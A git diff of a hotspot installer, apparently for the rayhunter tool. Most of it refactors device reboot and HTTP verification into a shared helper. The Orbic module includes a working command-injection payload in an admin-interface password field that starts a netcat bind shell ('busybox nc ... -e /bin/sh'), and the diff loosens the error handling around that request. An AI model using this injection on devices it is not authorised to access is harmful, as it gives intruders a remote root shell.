diff --git a/installer/src/orbic_network.rs b/installer/src/orbic_network.rs
index f5f537c..5abf409 100644
--- a/installer/src/orbic_network.rs
+++ b/installer/src/orbic_network.rs
@@ -107,7 +107,7 @@ async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Re
     }
 
     // Step 4: Exploit using authenticated session
-    let response: ExploitResponse = client
+    let exploit_result = client
         .post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
         .header("Content-Type", "application/json")
         .header("Cookie", authenticated_cookie)
@@ -116,14 +116,27 @@ async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Re
             r#"{{"password": "\"; busybox nc -ll -p {TELNET_PORT} -e /bin/sh & #"}}"#
         ))
         .send()
-        .await
-        .context("failed to start telnet")?
-        .json()
-        .await
-        .context("failed to start telnet")?;
+        .await;
 
-    if response.retcode != 0 {
-        bail!("unexpected response while starting telnet: {:?}", response);
+    match exploit_result {
+        Ok(resp) => {
+            // Try to parse response but don't fail if the server closed the connection
+            match resp.json::<ExploitResponse>().await {
+                Ok(response) if response.retcode != 0 => {
+                    bail!("unexpected response while starting telnet: {:?}", response);
+                }
+                Ok(_) => {}
+                Err(_) => {
+                    // Server likely crashed from the injection which is expected
+                }
+            }
+        }
+        Err(e) if e.is_connect() => {
+            bail!("failed to connect to admin interface at {admin_ip}: {e}");
+        }
+        Err(e) => {
+            eprintln!("exploit request failed ({e}), continuing anyway");
+        }
     }
 
     Ok(())
diff --git a/installer/src/tmobile.rs b/installer/src/tmobile.rs
index 00c19e1..941f720 100644
--- a/installer/src/tmobile.rs
+++ b/installer/src/tmobile.rs
@@ -13,7 +13,7 @@ use tokio::time::sleep;
 
 use crate::TmobileArgs as Args;
 use crate::output::{print, println};
-use crate::util::{http_ok_every, telnet_send_command, telnet_send_file};
+use crate::util::{reboot_and_verify, telnet_send_command, telnet_send_file};
 use crate::wingtech::start_telnet;
 
 pub async fn install(
@@ -92,20 +92,7 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
     )
     .await?;
 
-    println!("Rebooting device and waiting 30 seconds for it to start up.");
-    telnet_send_command(addr, "reboot", "exit code 0", true).await?;
-    sleep(Duration::from_secs(30)).await;
-
-    print!("Testing rayhunter ... ");
-    let max_failures = 10;
-    http_ok_every(
-        format!("http://{admin_ip}:8080/index.html"),
-        Duration::from_secs(3),
-        max_failures,
-    )
-    .await?;
-    println!("ok");
-    println!("rayhunter is running at http://{admin_ip}:8080");
+    reboot_and_verify(addr, "reboot", &admin_ip).await;
 
     Ok(())
 }
diff --git a/installer/src/util.rs b/installer/src/util.rs
index 6b5f5e1..131dc55 100644
--- a/installer/src/util.rs
+++ b/installer/src/util.rs
@@ -1,3 +1,4 @@
+use std::io::IsTerminal;
 use std::net::SocketAddr;
 use std::str::FromStr;
 use std::time::Duration;
@@ -206,30 +207,49 @@ pub async fn send_file(admin_ip: &str, local_path: &str, remote_path: &str) -> R
     Ok(())
 }
 
-pub async fn http_ok_every(
-    rayhunter_url: String,
-    interval: Duration,
-    max_failures: u32,
-) -> Result<()> {
-    let client = Client::new();
-    let mut failures = 0;
-    loop {
-        match client.get(&rayhunter_url).send().await {
-            Ok(test) => match test.status().is_success() {
-                true => break,
-                false => bail!(
-                    "request for url ({rayhunter_url}) failed with status code: {:?}",
-                    test.status()
-                ),
-            },
-            Err(e) => match failures > max_failures {
-                true => return Err(e.into()),
-                false => failures += 1,
-            },
+pub async fn reboot_and_verify(addr: SocketAddr, reboot_command: &str, admin_ip: &str) {
+    println!("Installation complete. Rebooting device...");
+    let _ = telnet_send_command(addr, reboot_command, "", true).await;
+
+    if std::io::stdin().is_terminal() {
+        println!(
+            "The device is rebooting. You will need to reconnect to the device's WiFi network."
+        );
+        print!("Once you've reconnected, press Enter to verify the installation: ");
+        let mut input = String::new();
+        let _ = std::io::stdin().read_line(&mut input);
+
+        print!("Verifying rayhunter ... ");
+        sleep(Duration::from_secs(5)).await;
+
+        let client = Client::new();
+        let url = format!("http://{admin_ip}:8080/index.html");
+        let mut success = false;
+        for _ in 0..5 {
+            if let Ok(resp) = client.get(&url).send().await
+                && resp.status().is_success()
+            {
+                success = true;
+                break;
+            }
+            sleep(Duration::from_secs(3)).await;
         }
-        sleep(interval).await;
+
+        if success {
+            println!("ok");
+            println!("rayhunter is running at http://{admin_ip}:8080");
+        } else {
+            println!("could not reach rayhunter.");
+            println!(
+                "The device may still be booting. Check http://{admin_ip}:8080 in a minute or two."
+            );
+        }
+    } else {
+        println!(
+            "Device is rebooting. Check http://{}:8080 after it finishes booting.",
+            admin_ip
+        );
     }
-    Ok(())
 }
 
 /// General function to open a USB device
diff --git a/installer/src/wingtech.rs b/installer/src/wingtech.rs
index ae84e46..f175fc7 100644
--- a/installer/src/wingtech.rs
+++ b/installer/src/wingtech.rs
@@ -1,3 +1,13 @@
+use crate::WingtechArgs as Args;
+use crate::output::{print, println};
+use crate::util::{reboot_and_verify, telnet_send_command, telnet_send_file};
+use aes::Aes128;
+use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
+use anyhow::{Context, Result, bail};
+use base64_light::base64_encode_bytes;
+use block_padding::{Padding, Pkcs7};
+use reqwest::Client;
+use serde::Deserialize;
 /// Installer for the Wingtech CT2MHS01 hotspot.
 ///
 /// Tested on (from `/etc/wt_version`):
@@ -6,20 +16,6 @@
 ///   WT_HARDWARE_VERSION=89323_1_20
 use std::net::SocketAddr;
 use std::str::FromStr;
-use std::time::Duration;
-
-use aes::Aes128;
-use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
-use anyhow::{Context, Result, bail};
-use base64_light::base64_encode_bytes;
-use block_padding::{Padding, Pkcs7};
-use reqwest::Client;
-use serde::Deserialize;
-use tokio::time::sleep;
-
-use crate::WingtechArgs as Args;
-use crate::output::{print, println};
-use crate::util::{http_ok_every, telnet_send_command, telnet_send_file};
 
 #[derive(Deserialize)]
 struct LoginResponse {
@@ -145,20 +141,7 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
     )
     .await?;
 
-    println!("Rebooting device and waiting 30 seconds for it to start up.");
-    telnet_send_command(addr, "shutdown -r -t 1 now", "exit code 0", true).await?;
-    sleep(Duration::from_secs(30)).await;
-
-    print!("Testing rayhunter ... ");
-    let max_failures = 10;
-    http_ok_every(
-        format!("http://{admin_ip}:8080/index.html"),
-        Duration::from_secs(3),
-        max_failures,
-    )
-    .await?;
-    println!("ok");
-    println!("rayhunter is running at http://{admin_ip}:8080");
+    reboot_and_verify(addr, "shutdown -r -t 1 now", &admin_ip).await;
 
     Ok(())
 }